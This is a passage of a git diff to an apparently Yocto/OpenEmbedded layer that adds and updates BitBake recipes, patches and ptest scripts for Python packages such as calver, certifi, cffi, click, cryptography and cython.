+
+DEPENDS:remove:class-native = "python3-build-native"
+
+# Skip dependencies as we're doing a minimal build to bootstrap
+PEP517_BUILD_OPTS:class-native = "--skip-dependency-check"
+
+do_compile:prepend:class-native() {
+ export PYTHONPATH="${S}/src"
+}
+
+RDEPENDS:${PN} += " \
+ python3-compression \
+ python3-difflib \
+ python3-ensurepip \
+ python3-logging \
+ python3-packaging \
+ python3-pyproject-hooks \
+ python3-tomllib \
+ python3-venv \
+"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-calver/0001-setup.py-hard-code-version.patch b/meta/recipes-devtools/python/python3-calver/0001-setup.py-hard-code-version.patch
new file mode 100644
index 0000000000..43f8a78ef0
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-calver/0001-setup.py-hard-code-version.patch
@@ -0,0 +1,32 @@
+From 390a233ed969f82b2ef209b23bfb523e785603f9 Mon Sep 17 00:00:00 2001
+From: Trevor Gamblin <tgamblin@baylibre.com>
+Date: Tue, 9 May 2023 10:19:41 -0400
+Subject: [PATCH] setup.py: hard-code version
+
+setup.py is pulling the build version from the current date rather than
+a release tag or other predictable method, causing reproducibility
+issues in builds. Patch this to make reproducible builds work while
+discussing this with upstream maintainer (or developing a patch that can
+make calver rely on a more standard pyproject.toml solution).
+
+Upstream-Status: Inappropriate (configuration)
+
+Signed-off-by: Trevor Gamblin <tgamblin@baylibre.com>
+---
+ setup.py | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/setup.py b/setup.py
+index 73f6b10..2e27cf1 100644
+--- a/setup.py
++++ b/setup.py
+@@ -42,5 +42,5 @@ setup(
+ "use_calver = calver.integration:version",
+ ],
+ },
+- version=calver_version(True),
++ version=calver_version("2022.6.26"),
+ )
+--
+2.40.0
+
diff --git a/meta/recipes-devtools/python/python3-calver/run-ptest b/meta/recipes-devtools/python/python3-calver/run-ptest
new file mode 100644
index 0000000000..8d2017d39c
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-calver/run-ptest
@@ -0,0 +1,3 @@
+#!/bin/sh
+
+pytest --automake
diff --git a/meta/recipes-devtools/python/python3-calver_2022.6.26.bb b/meta/recipes-devtools/python/python3-calver_2022.6.26.bb
new file mode 100644
index 0000000000..71b5431400
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-calver_2022.6.26.bb
@@ -0,0 +1,28 @@
+SUMMARY = "Setuptools extension for CalVer package versions"
+HOMEPAGE = "https://github.com/di/calver"
+LICENSE = "Apache-2.0"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=3b83ef96387f14655fc854ddc3c6bd57"
+
+SRC_URI = " \
+ git://github.com/di/calver;branch=master;protocol=https \
+ file://run-ptest \
+ file://0001-setup.py-hard-code-version.patch \
+"
+SRCREV = "3268d8acf2c345f32a1c5f08ba25dc67f76cca81"
+
+inherit python_setuptools_build_meta ptest
+
+S = "${WORKDIR}/git"
+
+RDEPENDS:${PN}-ptest += " \
+ python3-pretend \
+ python3-pytest \
+ python3-unittest-automake-output \
+"
+
+do_install_ptest() {
+ install -d ${D}${PTEST_PATH}/tests
+ cp -rf ${S}/tests ${D}${PTEST_PATH}/
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-certifi_2024.2.2.bb b/meta/recipes-devtools/python/python3-certifi_2024.2.2.bb
new file mode 100644
index 0000000000..4e61b8d9d4
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-certifi_2024.2.2.bb
@@ -0,0 +1,16 @@
+SUMMARY = "Python package for providing Mozilla's CA Bundle."
+DESCRIPTION = "This installable Python package contains a CA Bundle that you can reference in your \
+Python code. This is useful for verifying HTTP requests, for example. This is the same CA Bundle \
+which ships with the Requests codebase, and is derived from Mozilla Firefox's canonical set."
+HOMEPAGE = " http://certifi.io/"
+
+LICENSE = "ISC"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=11618cb6a975948679286b1211bd573c"
+
+SRC_URI[sha256sum] = "0569859f95fc761b18b45ef421b1290a0f65f147e92a1e5eb3e635f9a5e4e66f"
+
+inherit pypi setuptools3
+
+BBCLASSEXTEND = "native nativesdk"
+
+RDEPENDS:${PN} += "python3-io"
diff --git a/meta/recipes-devtools/python/python3-cffi_1.16.0.bb b/meta/recipes-devtools/python/python3-cffi_1.16.0.bb
new file mode 100644
index 0000000000..c5f6578ab2
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-cffi_1.16.0.bb
@@ -0,0 +1,18 @@
+SUMMARY = "Foreign Function Interface for Python calling C code"
+HOMEPAGE = "http://cffi.readthedocs.org/"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=5677e2fdbf7cdda61d6dd2b57df547bf"
+DEPENDS += "libffi python3-pycparser"
+
+SRC_URI[sha256sum] = "bcb3ef43e58665bbda2fb198698fcae6776483e0c4a631aa5647806c25e02cc0"
+
+inherit pypi setuptools3
+
+RDEPENDS:${PN}:class-target = " \
+ python3-ctypes \
+ python3-io \
+ python3-pycparser \
+ python3-shell \
+"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-chardet_5.2.0.bb b/meta/recipes-devtools/python/python3-chardet_5.2.0.bb
new file mode 100644
index 0000000000..ed792b1c7e
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-chardet_5.2.0.bb
@@ -0,0 +1,24 @@
+SUMMARY = "Universal encoding detector for Python 2 and 3"
+HOMEPAGE = "https://pypi.org/project/chardet/"
+LICENSE = "LGPL-2.1-only"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=4fbd65380cdd255951079008b364516c"
+
+SRC_URI[sha256sum] = "1b3b6ff479a8c414bc3fa2c0852995695c4a026dcd6d0633b2dd092ca39c1cf7"
+
+# setup.py of chardet needs this.
+DEPENDS += "python3-pytest-runner-native"
+
+inherit pypi python_setuptools_build_meta
+
+PACKAGES =+ "${PN}-cli"
+FILES:${PN}-cli += " \
+ ${PYTHON_SITEPACKAGES_DIR}/chardet/cli \
+"
+
+RDEPENDS:${PN}-cli = "${PN} "
+
+RDEPENDS:${PN}:class-target += " \
+ python3-logging \
+"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-click/run-ptest b/meta/recipes-devtools/python/python3-click/run-ptest
new file mode 100644
index 0000000000..b63c4de0d9
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-click/run-ptest
@@ -0,0 +1,3 @@
+#!/bin/sh
+
+pytest -o log_cli=true -o log_cli_level=INFO | sed -e 's/\[...%\]//g'| sed -e 's/PASSED/PASS/g'| sed -e 's/FAILED/FAIL/g'|sed -e 's/SKIPPED/SKIP/g'| awk '{if ($NF=="PASS" || $NF=="FAIL" || $NF=="SKIP" || $NF=="XFAIL" || $NF=="XPASS"){printf "%s: %s\n", $NF, $0}else{print}}'| awk '{if ($NF=="PASS" || $NF=="FAIL" || $NF=="SKIP" || $NF=="XFAIL" || $NF=="XPASS") {$NF="";print $0}else{print}}'
diff --git a/meta/recipes-devtools/python/python3-click_8.1.7.bb b/meta/recipes-devtools/python/python3-click_8.1.7.bb
new file mode 100644
index 0000000000..7d91e1af83
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-click_8.1.7.bb
@@ -0,0 +1,39 @@
+SUMMARY = "A simple wrapper around optparse for powerful command line utilities."
+DESCRIPTION = "\
+Click is a Python package for creating beautiful command line interfaces \
+in a composable way with as little code as necessary. It's the "Command \
+Line Interface Creation Kit". It's highly configurable but comes with \
+sensible defaults out of the box."
+HOMEPAGE = "http://click.pocoo.org/"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE.rst;md5=1fa98232fd645608937a0fdc82e999b8"
+
+SRC_URI[sha256sum] = "ca9853ad459e787e2192211578cc907e7594e294c7ccc834310722b41b9ca6de"
+
+inherit pypi setuptools3 ptest
+
+SRC_URI += "file://run-ptest"
+
+RDEPENDS:${PN}-ptest += " \
+ python3-pytest \
+ python3-terminal \
+ python3-unixadmin \
+"
+
+do_install_ptest() {
+ install -d ${D}${PTEST_PATH}/tests
+ cp -rf ${S}/tests/* ${D}${PTEST_PATH}/tests/
+ cp -rf ${S}/setup.cfg ${D}${PTEST_PATH}/
+ cp -rf ${S}/docs ${D}${PTEST_PATH}/
+}
+
+UPSTREAM_CHECK_REGEX = "click/(?P<pver>\d+(\.\d+)+)/"
+
+CLEANBROKEN = "1"
+
+RDEPENDS:${PN} += "\
+ python3-io \
+ python3-threading \
+ "
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-cryptography-crates.inc b/meta/recipes-devtools/python/python3-cryptography-crates.inc
new file mode 100644
index 0000000000..b26e22b70c
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-cryptography-crates.inc
@@ -0,0 +1,102 @@
+# Autogenerated with 'bitbake -c update_crates python3-cryptography'
+
+# from src/rust/Cargo.lock
+SRC_URI += " \
+ crate://crates.io/asn1/0.15.5 \
+ crate://crates.io/asn1_derive/0.15.5 \
+ crate://crates.io/autocfg/1.1.0 \
+ crate://crates.io/base64/0.21.7 \
+ crate://crates.io/bitflags/1.3.2 \
+ crate://crates.io/bitflags/2.4.2 \
+ crate://crates.io/cc/1.0.83 \
+ crate://crates.io/cfg-if/1.0.0 \
+ crate://crates.io/foreign-types/0.3.2 \
+ crate://crates.io/foreign-types-shared/0.1.1 \
+ crate://crates.io/heck/0.4.1 \
+ crate://crates.io/indoc/2.0.4 \
+ crate://crates.io/libc/0.2.152 \
+ crate://crates.io/lock_api/0.4.11 \
+ crate://crates.io/memoffset/0.9.0 \
+ crate://crates.io/once_cell/1.19.0 \
+ crate://crates.io/openssl/0.10.63 \
+ crate://crates.io/openssl-macros/0.1.1 \
+ crate://crates.io/openssl-sys/0.9.99 \
+ crate://crates.io/parking_lot/0.12.1 \
+ crate://crates.io/parking_lot_core/0.9.9 \
+ crate://crates.io/pem/3.0.3 \
+ crate://crates.io/pkg-config/0.3.29 \
+ crate://crates.io/portable-atomic/1.6.0 \
+ crate://crates.io/proc-macro2/1.0.78 \
+ crate://crates.io/pyo3/0.20.3 \
+ crate://crates.io/pyo3-build-config/0.20.3 \
+ crate://crates.io/pyo3-ffi/0.20.3 \
+ crate://crates.io/pyo3-macros/0.20.3 \
+ crate://crates.io/pyo3-macros-backend/0.20.3 \
+ crate://crates.io/quote/1.0.35 \
+ crate://crates.io/redox_syscall/0.4.1 \
+ crate://crates.io/scopeguard/1.2.0 \
+ crate://crates.io/self_cell/1.0.3 \
+ crate://crates.io/smallvec/1.13.1 \
+ crate://crates.io/syn/2.0.48 \
+ crate://crates.io/target-lexicon/0.12.13 \
+ crate://crates.io/unicode-ident/1.0.12 \
+ crate://crates.io/unindent/0.2.3 \
+ crate://crates.io/vcpkg/0.2.15 \
+ crate://crates.io/windows-targets/0.48.5 \
+ crate://crates.io/windows_aarch64_gnullvm/0.48.5 \
+ crate://crates.io/windows_aarch64_msvc/0.48.5 \
+ crate://crates.io/windows_i686_gnu/0.48.5 \
+ crate://crates.io/windows_i686_msvc/0.48.5 \
+ crate://crates.io/windows_x86_64_gnu/0.48.5 \
+ crate://crates.io/windows_x86_64_gnullvm/0.48.5 \
+ crate://crates.io/windows_x86_64_msvc/0.48.5 \
+"
+
+SRC_URI[asn1-0.15.5.sha256sum] = "ae3ecbce89a22627b5e8e6e11d69715617138290289e385cde773b1fe50befdb"
+SRC_URI[asn1_derive-0.15.5.sha256sum] = "861af988fac460ac69a09f41e6217a8fb9178797b76fcc9478444be6a59be19c"
+SRC_URI[autocfg-1.1.0.sha256sum] = "d468802bab17cbc0cc575e9b053f41e72aa36bfa6b7f55e3529ffa43161b97fa"
+SRC_URI[base64-0.21.7.sha256sum] = "9d297deb1925b89f2ccc13d7635fa0714f12c87adce1c75356b39ca9b7178567"
+SRC_URI[bitflags-1.3.2.sha256sum] = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a"
+SRC_URI[bitflags-2.4.2.sha256sum] = "ed570934406eb16438a4e976b1b4500774099c13b8cb96eec99f620f05090ddf"
+SRC_URI[cc-1.0.83.sha256sum] = "f1174fb0b6ec23863f8b971027804a42614e347eafb0a95bf0b12cdae21fc4d0"
+SRC_URI[cfg-if-1.0.0.sha256sum] = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd"
+SRC_URI[foreign-types-0.3.2.sha256sum] = "f6f339eb8adc052cd2ca78910fda869aefa38d22d5cb648e6485e4d3fc06f3b1"
+SRC_URI[foreign-types-shared-0.1.1.sha256sum] = "00b0228411908ca8685dba7fc2cdd70ec9990a6e753e89b6ac91a84c40fbaf4b"
+SRC_URI[heck-0.4.1.sha256sum] = "95505c38b4572b2d910cecb0281560f54b440a19336cbbcb27bf6ce6adc6f5a8"
+SRC_URI[indoc-2.0.4.sha256sum] = "1e186cfbae8084e513daff4240b4797e342f988cecda4fb6c939150f96315fd8"
+SRC_URI[libc-0.2.152.sha256sum] = "13e3bf6590cbc649f4d1a3eefc9d5d6eb746f5200ffb04e5e142700b8faa56e7"
+SRC_URI[lock_api-0.4.11.sha256sum] = "3c168f8615b12bc01f9c17e2eb0cc07dcae1940121185446edc3744920e8ef45"
+SRC_URI[memoffset-0.9.0.sha256sum] = "5a634b1c61a95585bd15607c6ab0c4e5b226e695ff2800ba0cdccddf208c406c"
+SRC_URI[once_cell-1.19.0.sha256sum] = "3fdb12b2476b595f9358c5161aa467c2438859caa136dec86c26fdd2efe17b92"
+SRC_URI[openssl-0.10.63.sha256sum] = "15c9d69dd87a29568d4d017cfe8ec518706046a05184e5aea92d0af890b803c8"
+SRC_URI[openssl-macros-0.1.1.sha256sum] = "a948666b637a0f465e8564c73e89d4dde00d72d4d473cc972f390fc3dcee7d9c"
+SRC_URI[openssl-sys-0.9.99.sha256sum] = "22e1bf214306098e4832460f797824c05d25aacdf896f64a985fb0fd992454ae"
+SRC_URI[parking_lot-0.12.1.sha256sum] = "3742b2c103b9f06bc9fff0a37ff4912935851bee6d36f3c02bcc755bcfec228f"
+SRC_URI[parking_lot_core-0.9.9.sha256sum] = "4c42a9226546d68acdd9c0a280d17ce19bfe27a46bf68784e4066115788d008e"
+SRC_URI[pem-3.0.3.sha256sum] = "1b8fcc794035347fb64beda2d3b462595dd2753e3f268d89c5aae77e8cf2c310"
+SRC_URI[pkg-config-0.3.29.sha256sum] = "2900ede94e305130c13ddd391e0ab7cbaeb783945ae07a279c268cb05109c6cb"
+SRC_URI[portable-atomic-1.6.0.sha256sum] = "7170ef9988bc169ba16dd36a7fa041e5c4cbeb6a35b76d4c03daded371eae7c0"
+SRC_URI[proc-macro2-1.0.78.sha256sum] = "e2422ad645d89c99f8f3e6b88a9fdeca7fabeac836b1002371c4367c8f984aae"
+SRC_URI[pyo3-0.20.3.sha256sum] = "53bdbb96d49157e65d45cc287af5f32ffadd5f4761438b527b055fb0d4bb8233"
+SRC_URI[pyo3-build-config-0.20.3.sha256sum] = "deaa5745de3f5231ce10517a1f5dd97d53e5a2fd77aa6b5842292085831d48d7"
+SRC_URI[pyo3-ffi-0.20.3.sha256sum] = "62b42531d03e08d4ef1f6e85a2ed422eb678b8cd62b762e53891c05faf0d4afa"
+SRC_URI[pyo3-macros-0.20.3.sha256sum] = "7305c720fa01b8055ec95e484a6eca7a83c841267f0dd5280f0c8b8551d2c158"
+SRC_URI[pyo3-macros-backend-0.20.3.sha256sum] = "7c7e9b68bb9c3149c5b0cade5d07f953d6d125eb4337723c4ccdb665f1f96185"
+SRC_URI[quote-1.0.35.sha256sum] = "291ec9ab5efd934aaf503a6466c5d5251535d108ee747472c3977cc5acc868ef"
+SRC_URI[redox_syscall-0.4.1.sha256sum] = "4722d768eff46b75989dd134e5c353f0d6296e5aaa3132e776cbdb56be7731aa"
+SRC_URI[scopeguard-1.2.0.sha256sum] = "94143f37725109f92c262ed2cf5e59bce7498c01bcc1502d7b9afe439a4e9f49"
+SRC_URI[self_cell-1.0.3.sha256sum] = "58bf37232d3bb9a2c4e641ca2a11d83b5062066f88df7fed36c28772046d65ba"
+SRC_URI[smallvec-1.13.1.sha256sum] = "e6ecd384b10a64542d77071bd64bd7b231f4ed5940fba55e98c3de13824cf3d7"
+SRC_URI[syn-2.0.48.sha256sum] = "0f3531638e407dfc0814761abb7c00a5b54992b849452a0646b7f65c9f770f3f"
+SRC_URI[target-lexicon-0.12.13.sha256sum] = "69758bda2e78f098e4ccb393021a0963bb3442eac05f135c30f61b7370bbafae"
+SRC_URI[unicode-ident-1.0.12.sha256sum] = "3354b9ac3fae1ff6755cb6db53683adb661634f67557942dea4facebec0fee4b"
+SRC_URI[unindent-0.2.3.sha256sum] = "c7de7d73e1754487cb58364ee906a499937a0dfabd86bcb980fa99ec8c8fa2ce"
+SRC_URI[vcpkg-0.2.15.sha256sum] = "accd4ea62f7bb7a82fe23066fb0957d48ef677f6eeb8215f372f52e48bb32426"
+SRC_URI[windows-targets-0.48.5.sha256sum] = "9a2fa6e2155d7247be68c096456083145c183cbbbc2764150dda45a87197940c"
+SRC_URI[windows_aarch64_gnullvm-0.48.5.sha256sum] = "2b38e32f0abccf9987a4e3079dfb67dcd799fb61361e53e2882c3cbaf0d905d8"
+SRC_URI[windows_aarch64_msvc-0.48.5.sha256sum] = "dc35310971f3b2dbbf3f0690a219f40e2d9afcf64f9ab7cc1be722937c26b4bc"
+SRC_URI[windows_i686_gnu-0.48.5.sha256sum] = "a75915e7def60c94dcef72200b9a8e58e5091744960da64ec734a6c6e9b3743e"
+SRC_URI[windows_i686_msvc-0.48.5.sha256sum] = "8f55c233f70c4b27f66c523580f78f1004e8b5a8b659e05a4eb49d4166cca406"
+SRC_URI[windows_x86_64_gnu-0.48.5.sha256sum] = "53d40abd2583d23e4718fddf1ebec84dbff8381c07cae67ff7768bbf19c6718e"
+SRC_URI[windows_x86_64_gnullvm-0.48.5.sha256sum] = "0b7b52767868a23d5bab768e390dc5f5c55825b6d30b86c844ff2dc7414044cc"
+SRC_URI[windows_x86_64_msvc-0.48.5.sha256sum] = "ed94fce61571a4006852b7389a063ab983c02eb1bb37b47f8272ce92d06d9538"
diff --git a/meta/recipes-devtools/python/python3-cryptography-vectors_42.0.5.bb b/meta/recipes-devtools/python/python3-cryptography-vectors_42.0.5.bb
new file mode 100644
index 0000000000..ee522af08e
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-cryptography-vectors_42.0.5.bb
@@ -0,0 +1,31 @@
+SUMMARY = "Test vectors for the cryptography package."
+HOMEPAGE = "https://cryptography.io/"
+SECTION = "devel/python"
+LICENSE = "Apache-2.0 | BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=8c3617db4fb6fae01f1d253ab91511e4 \
+ file://LICENSE.APACHE;md5=4e168cce331e5c827d4c2b68a6200e1b \
+ file://LICENSE.BSD;md5=5ae30ba4123bc4f2fa49aa0b0dce887b"
+
+# NOTE: Make sure to keep this recipe at the same version as python3-cryptography
+# Upgrade both recipes at the same time
+
+SRC_URI[sha256sum] = "505cd5e3b0cb32da1526f07042b7fc38a4b6c356710cb73d2b5f76b037a38ed1"
+
+PYPI_PACKAGE = "cryptography_vectors"
+
+inherit pypi python_setuptools_build_meta
+
+DEPENDS += " \
+ python3-cryptography \
+"
+
+do_install:append () {
+ # Remove the sha256 checksum lines for pycache files
+ sed ${D}${PYTHON_SITEPACKAGES_DIR}/cryptography_vectors-${PV}.dist-info/RECORD -e '/__pycache__/d' -i
+}
+
+BBCLASSEXTEND = "native nativesdk"
+
+UPSTREAM_CHECK_REGEX = ""
+
+RECIPE_NO_UPDATE_REASON = "Must be updated in sync with python3-cryptography."
diff --git a/meta/recipes-devtools/python/python3-cryptography/0001-pyproject.toml-remove-benchmark-disable-option.patch b/meta/recipes-devtools/python/python3-cryptography/0001-pyproject.toml-remove-benchmark-disable-option.patch
new file mode 100644
index 0000000000..f9c8d1393d
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-cryptography/0001-pyproject.toml-remove-benchmark-disable-option.patch
@@ -0,0 +1,43 @@
+From b7dd3ce1d75d1e6255e1aca82aa7f401d4246a75 Mon Sep 17 00:00:00 2001
+From: Mingli Yu <mingli.yu@windriver.com>
+Date: Tue, 17 May 2022 17:22:48 +0800
+Subject: [PATCH] pyproject.toml: remove --benchmark-disable option
+
+The new version introduced below change, so remove the option
+to avoid python3-pytest-benchmark rdepends to fix the gap.
+496703c8 Refs #7079 -- added basic scaffholding for benchmarks (#7087)
+
+Fixes:
+ # ./run-ptest
+ Free memory: 31.283 GB
+ ERROR: usage: pytest [options] [file_or_dir] [file_or_dir] [...]
+ pytest: error: unrecognized arguments: --benchmark-disable
+ inifile: /usr/lib/python3-cryptography/ptest/pyproject.toml
+ rootdir: /usr/lib/python3-cryptography/ptest
+
+Upstream-Status: Inappropriate [OE specific]
+
+Signed-off-by: Mingli Yu <mingli.yu@windriver.com>
+
+Refresh for 42.02
+Signed-off-by: Tim Orling <tim.orling@konsulko.com>
+---
+ pyproject.toml | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/pyproject.toml b/pyproject.toml
+index c9a7979bd..dec4b7157 100644
+--- a/pyproject.toml
++++ b/pyproject.toml
+@@ -92,7 +92,7 @@ rust-version = ">=1.63.0"
+
+
+ [tool.pytest.ini_options]
+-addopts = "-r s --capture=no --strict-markers --benchmark-disable"
++addopts = "-r s --capture=no --strict-markers"
+ console_output_style = "progress-even-when-capture-no"
+ markers = [
+ "skip_fips: this test is not executed in FIPS mode",
+--
+2.34.1
+
diff --git a/meta/recipes-devtools/python/python3-cryptography/check-memfree.py b/meta/recipes-devtools/python/python3-cryptography/check-memfree.py
new file mode 100755
index 0000000000..ed680d8d5b
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-cryptography/check-memfree.py
@@ -0,0 +1,10 @@
+#!/usr/bin/env python3
+# https://stackoverflow.com/questions/22102999/get-total-physical-memory-in-python/28161352
+import sys
+meminfo = dict((i.split()[0].rstrip(':'),int(i.split()[1])) for i in open('/proc/meminfo').readlines())
+mem_free = meminfo['MemTotal']/1024./1024.
+if mem_free < 2.:
+ print("Insufficient free memory({:.3f}): requires > 2 GB".format(mem_free))
+ sys.exit(1)
+else:
+ print("Free memory: {:.3f} GB".format(mem_free))
diff --git a/meta/recipes-devtools/python/python3-cryptography/run-ptest b/meta/recipes-devtools/python/python3-cryptography/run-ptest
new file mode 100644
index 0000000000..fe191a5dc4
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-cryptography/run-ptest
@@ -0,0 +1,9 @@
+#!/bin/sh
+
+if ./check-memfree.py; then
+ # Skip the bench test module, we don't yet have pytest3-benchmark in core
+ # and these are more benchmarks than unit tests.
+ pytest --automake -k 'not bench'
+else
+ echo "SKIP: crytography.not_enough_memory"
+fi
diff --git a/meta/recipes-devtools/python/python3-cryptography_42.0.5.bb b/meta/recipes-devtools/python/python3-cryptography_42.0.5.bb
new file mode 100644
index 0000000000..732f925d92
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-cryptography_42.0.5.bb
@@ -0,0 +1,67 @@
+SUMMARY = "Provides cryptographic recipes and primitives to python developers"
+HOMEPAGE = "https://cryptography.io/"
+SECTION = "devel/python"
+LICENSE = "Apache-2.0 | BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=8c3617db4fb6fae01f1d253ab91511e4 \
+ file://LICENSE.APACHE;md5=4e168cce331e5c827d4c2b68a6200e1b \
+ file://LICENSE.BSD;md5=5ae30ba4123bc4f2fa49aa0b0dce887b \
+ "
+LDSHARED += "-pthread"
+
+SRC_URI[sha256sum] = "6fe07eec95dfd477eb9530aef5bead34fec819b3aaf6c5bd6d20565da607bfe1"
+
+SRC_URI += "file://0001-pyproject.toml-remove-benchmark-disable-option.patch \
+ file://check-memfree.py \
+ file://run-ptest \
+ "
+
+require ${BPN}-crates.inc
+
+inherit pypi python_setuptools3_rust cargo-update-recipe-crates pkgconfig
+
+DEPENDS += " \
+ python3-cffi-native \
+"
+
+RDEPENDS:${PN} += " \
+ python3-cffi \
+"
+
+RDEPENDS:${PN}:append:class-target = " \
+ python3-numbers \
+ python3-threading \
+"
+
+RDEPENDS:${PN}-ptest += " \
+ python3-bcrypt \
+ python3-cryptography-vectors (= ${PV}) \
+ python3-hypothesis \
+ python3-iso8601 \
+ python3-mmap \
+ python3-pretend \
+ python3-psutil \
+ python3-pytest \
+ python3-unittest-automake-output \
+ python3-pytest-subtests \
+ python3-pytz \
+"
+
+inherit ptest
+
+do_install_ptest() {
+ install -D ${WORKDIR}/check-memfree.py ${D}${PTEST_PATH}/
+ install -d ${D}${PTEST_PATH}/tests
+ cp -rf ${S}/tests/* ${D}${PTEST_PATH}/tests/
+ # remove test_x509.py as it needs benchmark and we don't
+ # want to introduce the benchmark dependency
+ rm -rf ${D}${PTEST_PATH}/tests/bench/test_x509.py
+ install -d ${D}${PTEST_PATH}/tests/hazmat
+ cp -rf ${S}/tests/hazmat/* ${D}${PTEST_PATH}/tests/hazmat/
+ cp -r ${S}/pyproject.toml ${D}${PTEST_PATH}/
+}
+
+FILES:${PN}-dbg += " \
+ ${PYTHON_SITEPACKAGES_DIR}/${SRCNAME}/hazmat/bindings/.debug \
+"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-cython_0.29.21.bb b/meta/recipes-devtools/python/python3-cython_0.29.21.bb
deleted file mode 100644
index 2ce6bdbd68..0000000000
--- a/meta/recipes-devtools/python/python3-cython_0.29.21.bb
+++ /dev/null
@@ -1,18 +0,0 @@
-inherit setuptools3
-require python-cython.inc
-
-RDEPENDS_${PN} += "\
- python3-setuptools \
-"
-
-# running build_ext a second time during install fails, because Python
-# would then attempt to import cythonized modules built for the target
-# architecture.
-DISTUTILS_INSTALL_ARGS += "--skip-build"
-
-do_install_append() {
- # rename scripts that would conflict with the Python 2 build of Cython
- mv ${D}${bindir}/cython ${D}${bindir}/cython3
- mv ${D}${bindir}/cythonize ${D}${bindir}/cythonize3
- mv ${D}${bindir}/cygdb ${D}${bindir}/cygdb3
-}
diff --git a/meta/recipes-devtools/python/python3-cython_3.0.9.bb b/meta/recipes-devtools/python/python3-cython_3.0.9.bb
new file mode 100644
index 0000000000..07638d7ad7
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-cython_3.0.9.bb
@@ -0,0 +1,37 @@
+inherit setuptools3
+require python-cython.inc
+
+RDEPENDS:${PN} += "\
+ python3-setuptools \
+"
+
+# running build_ext a second time during install fails, because Python
+# would then attempt to import cythonized modules built for the target
+# architecture.
+SETUPTOOLS_INSTALL_ARGS += "--skip-build"
+
+do_install:append() {
+ # rename scripts that would conflict with the Python 2 build of Cython
+ mv ${D}${bindir}/cython ${D}${bindir}/cython3
+ mv ${D}${bindir}/cythonize ${D}${bindir}/cythonize3
+ mv ${D}${bindir}/cygdb ${D}${bindir}/cygdb3
+}
+
+PACKAGESPLITFUNCS =+ "cython_fix_sources"
+
+cython_fix_sources () {
+ for f in ${PKGD}${TARGET_DBGSRC_DIR}/Cython/Compiler/FlowControl.c \
+ ${PKGD}${TARGET_DBGSRC_DIR}/Cython/Compiler/FusedNode.c \
+ ${PKGD}${TARGET_DBGSRC_DIR}/Cython/Compiler/Scanning.c \
+ ${PKGD}${TARGET_DBGSRC_DIR}/Cython/Compiler/Visitor.c \
+ ${PKGD}${TARGET_DBGSRC_DIR}/Cython/Plex/Actions.c \
+ ${PKGD}${TARGET_DBGSRC_DIR}/Cython/Plex/Scanners.c \
+ ${PKGD}${TARGET_DBGSRC_DIR}/Cython/Runtime/refnanny.c \
+ ${PKGD}${TARGET_DBGSRC_DIR}/Cython/Tempita/_tempita.c \
+ ${PKGD}${libdir}/${PYTHON_DIR}/site-packages/Cython*/SOURCES.txt; do
+ if [ -e $f ]; then
+ sed -i -e 's#${WORKDIR}/Cython-${PV}#${TARGET_DBGSRC_DIR}#g' $f
+ fi
+ done
+}
+
diff --git a/meta/recipes-devtools/python/python3-dbus_1.2.16.bb b/meta/recipes-devtools/python/python3-dbus_1.2.16.bb
deleted file mode 100644
index e1700fa869..0000000000
--- a/meta/recipes-devtools/python/python3-dbus_1.2.16.bb
+++ /dev/null
@@ -1,26 +0,0 @@
-SUMMARY = "Python bindings for the DBus inter-process communication system"
-SECTION = "devel/python"
-HOMEPAGE = "http://www.freedesktop.org/Software/dbus"
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://COPYING;md5=b03240518994df6d8c974675675e5ca4"
-DEPENDS = "expat dbus glib-2.0 virtual/libintl"
-
-SRC_URI = "http://dbus.freedesktop.org/releases/dbus-python/dbus-python-${PV}.tar.gz"
-
-SRC_URI[md5sum] = "51a45c973d82bedff033a4b57d69d5d8"
-SRC_URI[sha256sum] = "11238f1d86c995d8aed2e22f04a1e3779f0d70e587caffeab4857f3c662ed5a4"
-
-S = "${WORKDIR}/dbus-python-${PV}"
-
-inherit distutils3-base autotools pkgconfig
-
-# documentation needs python3-sphinx, which is not in oe-core or meta-python for now
-# change to use PACKAGECONFIG when python3-sphinx is added to oe-core
-EXTRA_OECONF += "--disable-documentation"
-
-
-RDEPENDS_${PN} = "python3-io python3-logging python3-stringold python3-threading python3-xml"
-
-FILES_${PN}-dev += "${libdir}/pkgconfig"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-dbus_1.3.2.bb b/meta/recipes-devtools/python/python3-dbus_1.3.2.bb
new file mode 100644
index 0000000000..e0cf64c70e
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-dbus_1.3.2.bb
